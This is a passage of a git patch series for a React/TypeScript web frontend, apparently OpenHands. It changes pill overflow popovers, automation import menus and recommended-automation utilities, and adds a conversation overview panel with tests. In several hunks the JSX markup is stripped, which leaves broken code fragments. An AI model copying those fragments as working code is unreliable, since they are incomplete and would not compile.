cursor. + const pillsKey = pills.map((pill) => pill.id).join("\u001f"); + const lastPillsKeyRef = React.useRef(null); + React.useLayoutEffect(() => { + if (lastPillsKeyRef.current === pillsKey) { + return; + } + lastPillsKeyRef.current = pillsKey; + setIsOverflowOpen(false); recomputeVisibleCount(); - }, [pills, recomputeVisibleCount]); + }, [pillsKey, recomputeVisibleCount]); React.useEffect(() => { const container = containerRef.current; @@ -70,12 +106,86 @@ export function SkillCardPillRow({ pills, testId }: SkillCardPillRowProps) { return () => observer.disconnect(); }, [recomputeVisibleCount]); + const measurePopover = React.useCallback(() => { + const trigger = triggerRef.current; + if (!trigger) { + return; + } + const next = placePopoverByTrigger( + trigger.getBoundingClientRect(), + popoverRef.current?.offsetWidth ?? trigger.offsetWidth, + ); + setPopoverBox((prev) => + prev?.top === next.top && prev?.left === next.left ? prev : next, + ); + }, []); + + React.useLayoutEffect(() => { + if (!isOverflowOpen) { + setPopoverBox(null); + return undefined; + } + measurePopover(); + window.addEventListener("resize", measurePopover); + window.addEventListener("scroll", measurePopover, true); + return () => { + window.removeEventListener("resize", measurePopover); + window.removeEventListener("scroll", measurePopover, true); + }; + }, [isOverflowOpen, measurePopover]); + + React.useLayoutEffect(() => { + if (isOverflowOpen && popoverBox && popoverRef.current) { + measurePopover(); + } + }, [isOverflowOpen, measurePopover, popoverBox]); + + React.useEffect(() => { + if (!isOverflowOpen) { + return undefined; + } + const onPointerDown = (event: MouseEvent) => { + const target = event.target as Node; + if (triggerRef.current?.contains(target)) { + return; + } + if (popoverRef.current?.contains(target)) { + return; + } + setIsOverflowOpen(false); + }; + const onKeyDown = (event: KeyboardEvent) => { + if (event.key === "Escape") { + setIsOverflowOpen(false); + } + }; + // mousedown (not click) so the opening click cannot race-close the panel, + // and so wrapping card/link activation is easier to cancel on the trigger. + document.addEventListener("mousedown", onPointerDown); + document.addEventListener("keydown", onKeyDown); + return () => { + document.removeEventListener("mousedown", onPointerDown); + document.removeEventListener("keydown", onKeyDown); + }; + }, [isOverflowOpen]); + if (pills.length === 0) return null; const hiddenCount = Math.max(0, pills.length - visibleCount); + const overflowPills = pills.slice(visibleCount); + + const stopCardActivation = (event: React.SyntheticEvent) => { + event.stopPropagation(); + }; + + const activateOverflow = (event: React.MouseEvent) => { + event.preventDefault(); + event.stopPropagation(); + setIsOverflowOpen((open) => !open); + }; return ( -
    +
    ))} {hiddenCount > 0 ? ( - pill.id) - .join(", ")} > {t(I18nKey.SETTINGS$SKILLS_PILLS_MORE, { count: hiddenCount })} - + ) : null}
    + + {isOverflowOpen && + popoverBox && + typeof document !== "undefined" && + createPortal( + // Stop card-level click activation when interacting with the list. + // eslint-disable-next-line jsx-a11y/no-noninteractive-element-interactions -- dialog surface must swallow clicks +
    { + event.preventDefault(); + event.stopPropagation(); + }} + > + {overflowPills.map((pill) => ( +
    + {pill.node} +
    + ))} +
    , + document.body, + )}
    ); } diff --git a/src/components/shared/filters/enum-filter-dropdown.tsx b/src/components/shared/filters/enum-filter-dropdown.tsx index d7598f3c54a6..018f6688b94b 100644 --- a/src/components/shared/filters/enum-filter-dropdown.tsx +++ b/src/components/shared/filters/enum-filter-dropdown.tsx @@ -19,6 +19,9 @@ interface EnumFilterDropdownProps { /** Plain-string labels, e.g. manifest-supplied copy. Wins over the keys. */ labelByValue?: Record; ariaLabel?: string; + className?: string; + /** Stretch the trigger to the container width, e.g. inside a parent menu. */ + fullWidth?: boolean; } export function EnumFilterDropdown({ @@ -29,6 +32,8 @@ export function EnumFilterDropdown({ labelKeyByValue, labelByValue, ariaLabel, + className, + fullWidth = false, }: EnumFilterDropdownProps) { const { t } = useTranslation("openhands"); const [open, setOpen] = React.useState(false); @@ -48,7 +53,11 @@ export function EnumFilterDropdown({ return (
    -
    +
    diff --git a/src/routes/automations-list.tsx b/src/routes/automations-list.tsx index 367d71d7c841..ec275c358be8 100644 --- a/src/routes/automations-list.tsx +++ b/src/routes/automations-list.tsx @@ -1,12 +1,5 @@ -import { - useState, - useMemo, - useCallback, - useRef, - type ChangeEvent, - type ReactNode, -} from "react"; -import { FileUp, RefreshCw } from "lucide-react"; +import { useState, useMemo, useCallback, type ReactNode } from "react"; +import { RefreshCw } from "lucide-react"; import { useTranslation } from "react-i18next"; import { I18nKey } from "#/i18n/declaration"; import { @@ -39,6 +32,7 @@ import { ErrorState } from "#/components/features/automations/error-state"; import { BackendNotConfigured } from "#/components/features/automations/backend-not-configured"; import { DeleteConfirmationModal } from "#/components/features/automations/delete-confirmation-modal"; import { EditAutomationModal } from "#/components/features/automations/detail/edit-automation-modal"; +import { AddAutomationMenu } from "#/components/features/automations/add-automation-menu"; import { AddAutomationModal } from "#/components/features/automations/add-automation-modal"; import { ImportAutomationModal } from "#/components/features/automations/import-automation-modal"; import { RecommendedAutomationsLauncher } from "#/components/features/automations/recommended-automations-launcher"; @@ -120,7 +114,7 @@ export default function AutomationsList() { const [editTarget, setEditTarget] = useState(null); const [isAddAutomationOpen, setIsAddAutomationOpen] = useState(false); const [importSpec, setImportSpec] = useState(null); - const importInputRef = useRef(null); + const [isImportOpen, setIsImportOpen] = useState(false); const active = useActiveBackend(); const { navigate } = useNavigation(); @@ -234,12 +228,7 @@ export default function AutomationsList() { trackAutomationExported({ backendKind: active.backend.kind }); }; - const handleImportFile = async (event: ChangeEvent) => { - const input = event.currentTarget; - const file = input.files?.[0]; - input.value = ""; - if (!file) return; - + const handleImportFile = async (file: File) => { try { let parsed: unknown; try { @@ -263,6 +252,7 @@ export default function AutomationsList() { { ...importSpec, enabled: false }, { onSuccess: (created) => { + setIsImportOpen(false); setImportSpec(null); displaySuccessToastWithLink( t(I18nKey.AUTOMATIONS$IMPORT_SUCCESS, { name: created.name }), @@ -395,33 +385,10 @@ export default function AutomationsList() { {t(I18nKey.AUTOMATIONS$GIT_SYNC$NAV_BUTTON)} )} - importInputRef.current?.click()} - startContent={} - > - {t(I18nKey.AUTOMATIONS$IMPORT)} - - setIsAddAutomationOpen(true)} + onImport={() => setIsImportOpen(true)} /> - setIsAddAutomationOpen(true)} - > - {t(I18nKey.AUTOMATIONS$ADD_AUTOMATION)} -
    @@ -559,11 +526,15 @@ export default function AutomationsList() { /> setImportSpec(null)} + onClose={() => { + setIsImportOpen(false); + setImportSpec(null); + }} onImport={handleImportConfirm} + onFile={handleImportFile} /> , ); diff --git a/src/utils/automation-stack-section.ts b/src/utils/automation-stack-section.ts new file mode 100644 index 000000000000..7daa6f4ac8ab --- /dev/null +++ b/src/utils/automation-stack-section.ts @@ -0,0 +1,2 @@ +/** Shared bottom inset for stacked home sections (recommended rail, pinned). */ +export const AUTOMATION_STACK_SECTION_BOTTOM_CLASS = "pb-12"; diff --git a/src/utils/extension-module-card-classes.ts b/src/utils/extension-module-card-classes.ts index b4fc3dcf1e8d..19914261c601 100644 --- a/src/utils/extension-module-card-classes.ts +++ b/src/utils/extension-module-card-classes.ts @@ -11,7 +11,7 @@ export const extensionModuleCardInteractiveClassName = /** Shared pill chrome for Skills, automation cards, and related modals. */ export const extensionModuleCardPillClassName = - "inline-flex max-w-full shrink-0 items-center whitespace-nowrap rounded-full border border-[var(--oh-border)] bg-[rgba(255,255,255,0.04)] px-2 py-0.5 text-[11px] leading-4 text-tertiary-light"; + "inline-flex max-w-full shrink-0 items-center whitespace-nowrap rounded-full bg-[rgba(255,255,255,0.04)] px-2 py-0.5 text-[11px] leading-4 text-tertiary-light"; /** Two-column card grids switch back to one column at or below this width (px). */ export const EXTENSION_MODULE_CARD_GRID_SINGLE_COLUMN_MAX_PX = 599; diff --git a/src/utils/recommended-automation-rail.ts b/src/utils/recommended-automation-rail.ts new file mode 100644 index 000000000000..edd781a700df --- /dev/null +++ b/src/utils/recommended-automation-rail.ts @@ -0,0 +1,99 @@ +import { + AUTOMATION_CATALOG, + type RecommendedAutomation, +} from "@openhands/extensions/automations"; +import { getFeaturedAutomationIds } from "#/manifests/automation-interface"; +import { SETUP_REGISTRY } from "#/manifests/manifest-sources"; +import type { Automation } from "#/types/automation"; +import { getIntegrationIds } from "#/utils/automation-catalog"; + +export function getAutomationsByPopularity( + catalog: RecommendedAutomation[], +): RecommendedAutomation[] { + return catalog + .map((automation, index) => ({ automation, index })) + .sort((a, b) => { + const byPopularity = + (b.automation.popularityRank ?? 0) - (a.automation.popularityRank ?? 0); + return byPopularity || a.index - b.index; + }) + .map(({ automation }) => automation); +} + +/** + * Slug used to match a catalog entry against an installed automation name. + * Catalog ids are already kebab-case; installed names are human titles. + */ +export function normalizeAutomationKey(value: string): string { + return value + .trim() + .toLowerCase() + .replace(/&/g, "and") + .replace(/[^a-z0-9]+/g, "-") + .replace(/^-+|-+$/g, ""); +} + +function catalogMatchKeys(entry: RecommendedAutomation): string[] { + return [entry.id, entry.name, entry.skill] + .filter((value): value is string => Boolean(value)) + .map(normalizeAutomationKey); +} + +export function isCatalogAutomationAdded( + entry: RecommendedAutomation, + installed: readonly Pick[], +): boolean { + const installedKeys = new Set( + installed.map((automation) => normalizeAutomationKey(automation.name)), + ); + return catalogMatchKeys(entry).some((key) => installedKeys.has(key)); +} + +function isAvailableCatalogEntry(entry: RecommendedAutomation): boolean { + return getIntegrationIds(entry).length > 0; +} + +function isProvenAutomation(entry: RecommendedAutomation): boolean { + return getFeaturedAutomationIds().includes(entry.id); +} + +/** Catalog cards that launch a conversation instead of a host setup form. */ +export function isConversationLaunchAutomation( + entry: RecommendedAutomation, +): boolean { + return SETUP_REGISTRY.findById(entry.id) == null; +} + +export interface RecommendedRailGroups { + proven: RecommendedAutomation[]; + conversation: RecommendedAutomation[]; +} + +/** + * Home / dashboard rail: remaining proven workflows, then other useful + * automations that open in a new conversation. Already-created automations + * are dropped from both groups. + */ +export function getRecommendedRailGroups( + installed: readonly Pick[], +): RecommendedRailGroups { + const available = getAutomationsByPopularity(AUTOMATION_CATALOG).filter( + (entry) => + isAvailableCatalogEntry(entry) && + !isCatalogAutomationAdded(entry, installed), + ); + + return { + proven: available.filter(isProvenAutomation), + conversation: available.filter( + (entry) => + !isProvenAutomation(entry) && isConversationLaunchAutomation(entry), + ), + }; +} + +export function flattenRecommendedRailGroups( + groups: RecommendedRailGroups, +): RecommendedAutomation[] { + return [...groups.proven, ...groups.conversation]; +} diff --git a/src/utils/scroll-fade-state.ts b/src/utils/scroll-fade-state.ts new file mode 100644 index 000000000000..795996f47904 --- /dev/null +++ b/src/utils/scroll-fade-state.ts @@ -0,0 +1,18 @@ +const SCROLL_EDGE_THRESHOLD_PX = 1; + +export interface ScrollFadeState { + left: boolean; + right: boolean; +} + +/** Whether a horizontal scroller is clipped on each edge. */ +export function readScrollFadeState(element: HTMLElement): ScrollFadeState { + const { scrollLeft, scrollWidth, clientWidth } = element; + const maxScroll = scrollWidth - clientWidth; + const hasOverflow = maxScroll > SCROLL_EDGE_THRESHOLD_PX; + + return { + left: hasOverflow && scrollLeft > SCROLL_EDGE_THRESHOLD_PX, + right: hasOverflow && scrollLeft < maxScroll - SCROLL_EDGE_THRESHOLD_PX, + }; +} From d70cf83a334d9e8e9f3b05b02c4cafbacad9cac5 Mon Sep 17 00:00:00 2001 From: FraterCCCLXIII Date: Thu, 20 Aug 2026 03:47:40 -0700 Subject: [PATCH 21/32] feat(conversation): add overview panel and unified commits drawer (#16230) Co-authored-by: hieptl --- .../features/chat/plan-preview.test.tsx | 19 +- .../chat-interface-wrapper.test.tsx | 63 +- .../conversation-git-actions-toggle.test.tsx | 84 ++ .../conversation-name-with-status.test.tsx | 3 + .../conversation-overview-diffs-row.test.tsx | 140 ++ ...versation-overview-drawer-content.test.tsx | 260 ++++ .../conversation-overview-panel.test.tsx | 289 +++++ ...onversation-overview-skills-panel.test.tsx | 106 ++ .../conversation-overview-toggle.test.tsx | 126 ++ .../conversation-tabs-context-menu.test.tsx | 14 +- .../conversation/conversation-tabs.test.tsx | 43 +- .../conversation/right-panel-toggle.test.tsx | 16 +- .../features/diff-viewer/commit-list.test.tsx | 177 +++ .../diff-viewer/diff-change-list.test.tsx | 84 ++ .../diff-viewer/file-diff-viewer.test.tsx | 24 +- __tests__/conversation-local-storage.test.ts | 193 +-- .../hooks/use-select-conversation-tab.test.ts | 93 +- __tests__/routes/changes-tab.test.tsx | 132 -- __tests__/routes/commits-tab.test.tsx | 19 + __tests__/routes/files-tab.test.tsx | 564 +++----- ...onversation-overview-project-scope.test.ts | 130 ++ scripts/check-translation-completeness.cjs | 4 + src/api/git-provider-items-service.ts | 290 +++++ .../conversation-git-actions-menu.tsx | 166 +++ .../conversation-git-actions-toggle.tsx | 115 ++ .../chat-interface-wrapper.tsx | 63 +- .../conversation-main/conversation-main.tsx | 19 +- .../conversation-name-with-status.tsx | 8 +- ...onversation-overview-automations-panel.tsx | 84 ++ .../conversation-overview-context-menu.tsx | 420 ++++++ .../conversation-overview-diffs-row.tsx | 158 +++ .../conversation-overview-drawer-content.tsx | 227 ++++ .../conversation-overview-drawer-context.tsx | 92 ++ .../conversation-overview-drawer.constants.ts | 12 + .../conversation-overview-drawer.tsx | 92 ++ .../conversation-overview-drawer.types.ts | 15 + .../conversation-overview-git-items-panel.tsx | 158 +++ .../conversation-overview-git-section.tsx | 258 ++++ .../conversation-overview-mcp-panel.tsx | 183 +++ .../conversation-overview-panel.constants.ts | 54 + .../conversation-overview-panel.tsx | 182 +++ ...ersation-overview-project-scope-toggle.tsx | 42 + .../conversation-overview-secrets-panel.tsx | 139 ++ .../conversation-overview-sections.ts | 83 ++ .../conversation-overview-skills-panel.tsx | 259 ++++ .../conversation-overview-toggle.tsx | 183 +++ .../conversation-secondary-drawer.classes.ts | 16 + .../conversation-tab-content.tsx | 2 + .../conversation-tabs-context-menu.tsx | 6 + .../conversation-tabs/conversation-tabs.tsx | 14 +- .../conversation/right-panel-toggle.tsx | 13 +- .../features/diff-viewer/accordion-panel.tsx | 54 + .../features/diff-viewer/commit-list.tsx | 36 +- .../features/diff-viewer/commit-row.tsx | 65 +- .../features/diff-viewer/diff-change-list.tsx | 44 + .../features/diff-viewer/editor-container.tsx | 13 +- .../features/diff-viewer/file-diff-viewer.tsx | 216 +++- .../diff-viewer/uncommitted-changes-row.tsx | 74 ++ .../features/files-tab/file-quick-row.tsx | 99 +- .../files-tab/files-tab-tree.constants.ts | 10 + .../features/files-tab/segmented-toggle.tsx | 23 +- .../features/files-tab/tree-node.tsx | 12 +- src/components/ui/resize-handle.tsx | 3 + src/hooks/query/use-repository-git-items.ts | 30 + .../use-conversation-overview-add-intent.ts | 28 + .../use-conversation-overview-column-space.ts | 40 + ...se-conversation-overview-git-diff-stats.ts | 81 ++ .../use-conversation-overview-panel-peek.ts | 60 + src/hooks/use-conversation-overview-stats.ts | 28 + .../use-conversation-primary-repository.ts | 35 + src/hooks/use-resizable-drawer-width.ts | 126 ++ src/hooks/use-select-conversation-tab.ts | 33 +- src/i18n/translation.json | 1139 +++++++++++++++++ src/routes/changes-tab.tsx | 121 -- src/routes/commits-tab.tsx | 37 +- src/routes/conversation.tsx | 23 +- src/routes/files-tab.tsx | 366 +++--- src/stores/conversation-store.ts | 27 + src/stores/files-tab-store.ts | 118 +- src/utils/conversation-local-storage.ts | 125 +- .../conversation-overview-project-scope.ts | 116 ++ src/utils/git-diff-stats.ts | 106 ++ src/utils/utils.ts | 5 + .../files/mock-llm-files-and-git.spec.ts | 145 +-- 84 files changed, 8156 insertions(+), 1218 deletions(-) create mode 100644 __tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx create mode 100644 __tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx create mode 100644 __tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx create mode 100644 __tests__/components/features/conversation/conversation-overview-panel.test.tsx create mode 100644 __tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx create mode 100644 __tests__/components/features/conversation/conversation-overview-toggle.test.tsx create mode 100644 __tests__/components/features/diff-viewer/commit-list.test.tsx create mode 100644 __tests__/components/features/diff-viewer/diff-change-list.test.tsx delete mode 100644 __tests__/routes/changes-tab.test.tsx create mode 100644 __tests__/utils/conversation-overview-project-scope.test.ts create mode 100644 src/api/git-provider-items-service.ts create mode 100644 src/components/features/conversation/conversation-git-actions-menu.tsx create mode 100644 src/components/features/conversation/conversation-git-actions-toggle.tsx create mode 100644 src/components/features/conversation/conversation-overview-automations-panel.tsx create mode 100644 src/components/features/conversation/conversation-overview-context-menu.tsx create mode 100644 src/components/features/conversation/conversation-overview-diffs-row.tsx create mode 100644 src/components/features/conversation/conversation-overview-drawer-content.tsx create mode 100644 src/components/features/conversation/conversation-overview-drawer-context.tsx create mode 100644 src/components/features/conversation/conversation-overview-drawer.constants.ts create mode 100644 src/components/features/conversation/conversation-overview-drawer.tsx create mode 100644 src/components/features/conversation/conversation-overview-drawer.types.ts create mode 100644 src/components/features/conversation/conversation-overview-git-items-panel.tsx create mode 100644 src/components/features/conversation/conversation-overview-git-section.tsx create mode 100644 src/components/features/conversation/conversation-overview-mcp-panel.tsx create mode 100644 src/components/features/conversation/conversation-overview-panel.constants.ts create mode 100644 src/components/features/conversation/conversation-overview-panel.tsx create mode 100644 src/components/features/conversation/conversation-overview-project-scope-toggle.tsx create mode 100644 src/components/features/conversation/conversation-overview-secrets-panel.tsx create mode 100644 src/components/features/conversation/conversation-overview-sections.ts create mode 100644 src/components/features/conversation/conversation-overview-skills-panel.tsx create mode 100644 src/components/features/conversation/conversation-overview-toggle.tsx create mode 100644 src/components/features/conversation/conversation-secondary-drawer.classes.ts create mode 100644 src/components/features/diff-viewer/accordion-panel.tsx create mode 100644 src/components/features/diff-viewer/diff-change-list.tsx create mode 100644 src/components/features/diff-viewer/uncommitted-changes-row.tsx create mode 100644 src/components/features/files-tab/files-tab-tree.constants.ts create mode 100644 src/hooks/query/use-repository-git-items.ts create mode 100644 src/hooks/use-conversation-overview-add-intent.ts create mode 100644 src/hooks/use-conversation-overview-column-space.ts create mode 100644 src/hooks/use-conversation-overview-git-diff-stats.ts create mode 100644 src/hooks/use-conversation-overview-panel-peek.ts create mode 100644 src/hooks/use-conversation-overview-stats.ts create mode 100644 src/hooks/use-conversation-primary-repository.ts create mode 100644 src/hooks/use-resizable-drawer-width.ts delete mode 100644 src/routes/changes-tab.tsx create mode 100644 src/utils/conversation-overview-project-scope.ts create mode 100644 src/utils/git-diff-stats.ts diff --git a/__tests__/components/features/chat/plan-preview.test.tsx b/__tests__/components/features/chat/plan-preview.test.tsx index 6af94df2d46f..c48a09c48d0e 100644 --- a/__tests__/components/features/chat/plan-preview.test.tsx +++ b/__tests__/components/features/chat/plan-preview.test.tsx @@ -208,8 +208,7 @@ describe("PlanPreview", () => { await user.click(buildButton); // Assert - const pending = - useOptimisticUserMessageStore.getState().pendingMessages; + const pending = useOptimisticUserMessageStore.getState().pendingMessages; expect(pending).toHaveLength(1); expect(pending[0].text).toBe(expectedPrompt); expect(pending[0].status).toBe("sending"); @@ -381,9 +380,9 @@ describe("PlanPreview", () => { const viewButton = screen.getByTestId("plan-preview-view-button"); await user.click(viewButton); - // Assert: selectTab was called with 'planner' and the drawer opened - // (in-memory). The drawer-open state is session-only and must not - // touch localStorage; only the selected tab persists. + // Assert: selectTab was called with 'planner' and the drawer opened. + // Opening the drawer also mirrors `rightPanelShown` into the + // conversation's localStorage blob, alongside the selected tab. expect(useConversationStore.getState().selectedTab).toBe("planner"); expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); @@ -391,7 +390,7 @@ describe("PlanPreview", () => { localStorage.getItem(`conversation-state-${conversationId}`)!, ); expect(storedState.selectedTab).toBe("planner"); - expect(storedState).not.toHaveProperty("rightPanelShown"); + expect(storedState.rightPanelShown).toBe(true); }); it("should call selectTab with 'planner' when Read more button is clicked", async () => { @@ -412,9 +411,9 @@ describe("PlanPreview", () => { const readMoreButton = screen.getByTestId("plan-preview-read-more-button"); await user.click(readMoreButton); - // Assert: selectTab was called with 'planner' and the drawer opened - // (in-memory). The drawer-open state is session-only and must not - // touch localStorage; only the selected tab persists. + // Assert: selectTab was called with 'planner' and the drawer opened. + // Opening the drawer also mirrors `rightPanelShown` into the + // conversation's localStorage blob, alongside the selected tab. expect(useConversationStore.getState().selectedTab).toBe("planner"); expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); @@ -422,6 +421,6 @@ describe("PlanPreview", () => { localStorage.getItem(`conversation-state-${conversationId}`)!, ); expect(storedState.selectedTab).toBe("planner"); - expect(storedState).not.toHaveProperty("rightPanelShown"); + expect(storedState.rightPanelShown).toBe(true); }); }); diff --git a/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx b/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx index 9617e3fcb709..dd796ff599c6 100644 --- a/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx +++ b/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx @@ -1,12 +1,39 @@ import { render, screen } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; +import { describe, it, expect, vi, beforeEach } from "vitest"; import { ChatInterfaceWrapper } from "#/components/features/conversation/conversation-main/chat-interface-wrapper"; +import { useConversationStore } from "#/stores/conversation-store"; vi.mock("#/components/features/chat/chat-interface", () => ({ ChatInterface: () =>
    , })); +vi.mock("#/components/features/conversation/conversation-overview-panel", () => ({ + ConversationOverviewPanel: () => ( +
    + ), +})); + +vi.mock("#/hooks/use-breakpoint", () => ({ + useBreakpoint: () => false, +})); + +const mockUseConversationOverviewColumnSpace = vi.fn(() => true); + +vi.mock("#/hooks/use-conversation-overview-column-space", () => ({ + useConversationOverviewColumnSpace: () => + mockUseConversationOverviewColumnSpace(), +})); + describe("ChatInterfaceWrapper", () => { + beforeEach(() => { + mockUseConversationOverviewColumnSpace.mockReturnValue(true); + useConversationStore.setState({ + isOverviewPanelShown: false, + isOverviewPanelPeeked: false, + isRightPanelShown: false, + }); + }); + it("renders the chat interface when the right panel is hidden", () => { render(); @@ -18,4 +45,38 @@ describe("ChatInterfaceWrapper", () => { expect(screen.getByTestId("chat-interface")).toBeInTheDocument(); }); + + it("uses the overview grid layout when space is available", () => { + useConversationStore.setState({ isOverviewPanelShown: true }); + render(); + + expect(screen.getByTestId("conversation-overview-column")).toBeInTheDocument(); + expect(screen.getByTestId("conversation-overview-panel")).toBeInTheDocument(); + }); + + it("keeps the thread in a height-constrained flex column when overview is shown", () => { + useConversationStore.setState({ isOverviewPanelShown: true }); + const { container } = render( + , + ); + + const threadColumn = container.querySelector(".overflow-hidden.flex-1"); + expect(threadColumn).toBeInTheDocument(); + expect(threadColumn).toHaveClass("min-h-0"); + }); + + it("falls back to the centered thread layout when the right column is too narrow", () => { + mockUseConversationOverviewColumnSpace.mockReturnValue(false); + useConversationStore.setState({ isOverviewPanelShown: true }); + + render(); + + expect( + screen.queryByTestId("conversation-overview-column"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-panel"), + ).not.toBeInTheDocument(); + expect(screen.getByTestId("chat-interface")).toBeInTheDocument(); + }); }); diff --git a/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx b/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx new file mode 100644 index 000000000000..679208430c99 --- /dev/null +++ b/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx @@ -0,0 +1,84 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { ConversationGitActionsToggle } from "#/components/features/conversation/conversation-git-actions-toggle"; +import { useConversationStore } from "#/stores/conversation-store"; + +const { breakpointIsMobile } = vi.hoisted(() => ({ + breakpointIsMobile: { value: false }, +})); + +vi.mock("#/hooks/use-breakpoint", () => ({ + useBreakpoint: () => breakpointIsMobile.value, +})); + +vi.mock("#/hooks/use-is-archived-conversation", () => ({ + useIsArchivedConversation: () => false, +})); + +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => ({ + data: { + id: "conv-1", + git_provider: "github", + }, + }), +})); + +describe("ConversationGitActionsToggle", () => { + beforeEach(() => { + vi.clearAllMocks(); + breakpointIsMobile.value = false; + useConversationStore.setState({ messageToSend: null }); + }); + + it("stays visible on smaller screens", () => { + breakpointIsMobile.value = true; + + render(); + + expect( + screen.getByTestId("conversation-git-actions-toggle"), + ).toBeInTheDocument(); + }); + + it("opens a dropdown of git actions and fills the composer with prompts", async () => { + const user = userEvent.setup(); + render(); + + await user.click(screen.getByTestId("conversation-git-actions-toggle")); + + await user.click( + await screen.findByTestId("conversation-git-actions-commit"), + ); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "commit", + ); + + await user.click(screen.getByTestId("conversation-git-actions-toggle")); + await user.click(screen.getByTestId("conversation-git-actions-pull")); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "pull", + ); + + await user.click(screen.getByTestId("conversation-git-actions-toggle")); + await user.click(screen.getByTestId("conversation-git-actions-push")); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "push", + ); + + await user.click(screen.getByTestId("conversation-git-actions-toggle")); + await user.click(screen.getByTestId("conversation-git-actions-create-pr")); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "pull request", + ); + + await user.click(screen.getByTestId("conversation-git-actions-toggle")); + await user.click( + screen.getByTestId("conversation-git-actions-create-new-branch"), + ); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "new branch", + ); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-name-with-status.test.tsx b/__tests__/components/features/conversation/conversation-name-with-status.test.tsx index 9cb41ff550b8..00f2b9ea4d0d 100644 --- a/__tests__/components/features/conversation/conversation-name-with-status.test.tsx +++ b/__tests__/components/features/conversation/conversation-name-with-status.test.tsx @@ -30,6 +30,9 @@ vi.mock("#/hooks/query/use-active-conversation", () => ({ vi.mock("#/hooks/use-conversation-id", () => ({ useConversationId: () => ({ conversationId: "test-conversation-id" }), + useOptionalConversationId: () => ({ + conversationId: "test-conversation-id", + }), })); vi.mock("#/hooks/mutation/use-unified-stop-conversation", () => ({ diff --git a/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx b/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx new file mode 100644 index 000000000000..9912d302f4c1 --- /dev/null +++ b/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx @@ -0,0 +1,140 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { ConversationOverviewDiffsRow } from "#/components/features/conversation/conversation-overview-diffs-row"; +import { useConversationStore } from "#/stores/conversation-store"; + +const navigateToTabMock = vi.fn(); +const closeDrawerMock = vi.fn(); + +vi.mock("#/hooks/use-conversation-overview-git-diff-stats", () => ({ + useConversationOverviewGitDiffStats: () => ({ + additions: 12, + deletions: 4, + changeCount: 2, + isLoading: false, + isError: false, + }), +})); + +const navigateToChangesMock = vi.fn(); + +vi.mock("#/hooks/use-select-conversation-tab", () => ({ + useSelectConversationTab: () => ({ + navigateToTab: navigateToTabMock, + navigateToChanges: navigateToChangesMock, + }), +})); + +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => ({ + data: { + id: "conv-1", + git_provider: "github", + }, + }), +})); + +vi.mock( + "#/components/features/conversation/conversation-overview-drawer-context", + () => ({ + useConversationOverviewDrawerOptional: () => ({ + section: "skills", + openAdd: false, + openSection: vi.fn(), + closeDrawer: closeDrawerMock, + }), + }), +); + +describe("ConversationOverviewDiffsRow", () => { + beforeEach(() => { + vi.clearAllMocks(); + useConversationStore.setState({ messageToSend: null }); + }); + + it("opens the git actions menu and sends commit, pull, push, and create PR prompts", async () => { + const user = userEvent.setup(); + render(); + + await user.click( + screen.getByTestId("conversation-overview-diffs-git-action"), + ); + + await user.click( + await screen.findByTestId("conversation-overview-diffs-git-commit"), + ); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "commit", + ); + + await user.click( + screen.getByTestId("conversation-overview-diffs-git-action"), + ); + await user.click(screen.getByTestId("conversation-overview-diffs-git-pull")); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "pull", + ); + + await user.click( + screen.getByTestId("conversation-overview-diffs-git-action"), + ); + await user.click(screen.getByTestId("conversation-overview-diffs-git-push")); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "push", + ); + + await user.click( + screen.getByTestId("conversation-overview-diffs-git-action"), + ); + await user.click( + screen.getByTestId("conversation-overview-diffs-git-create-pr"), + ); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "pull request", + ); + }); + + it("keeps diff numbers hidden while the git menu is open", async () => { + const user = userEvent.setup(); + render(); + + const stats = screen.getByTestId( + "conversation-overview-diffs-additions", + ).parentElement; + + await user.click( + screen.getByTestId("conversation-overview-diffs-git-action"), + ); + + expect(stats).toHaveClass("opacity-0"); + }); + + it("opens Diff view and closes open drawers when the changes label is clicked", async () => { + const user = userEvent.setup(); + render(); + + await user.click(screen.getByTestId("conversation-overview-diffs")); + + expect(closeDrawerMock).toHaveBeenCalled(); + expect(navigateToChangesMock).toHaveBeenCalled(); + expect(navigateToTabMock).not.toHaveBeenCalled(); + }); + + it("uses a full-row hover that clears when the git action is hovered", () => { + render(); + + const row = screen.getByTestId("conversation-overview-diffs").closest("li"); + const changesButton = screen.getByTestId("conversation-overview-diffs"); + const gitAction = screen.getByTestId( + "conversation-overview-diffs-git-action", + ); + + expect(row).toHaveClass("hover:bg-white/5"); + expect(row?.className).toContain( + "has-[.conversation-overview-diffs-git-action:hover]:bg-transparent", + ); + expect(changesButton).not.toHaveClass("hover:bg-white/5"); + expect(gitAction).toHaveClass("hover:bg-white/10"); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx 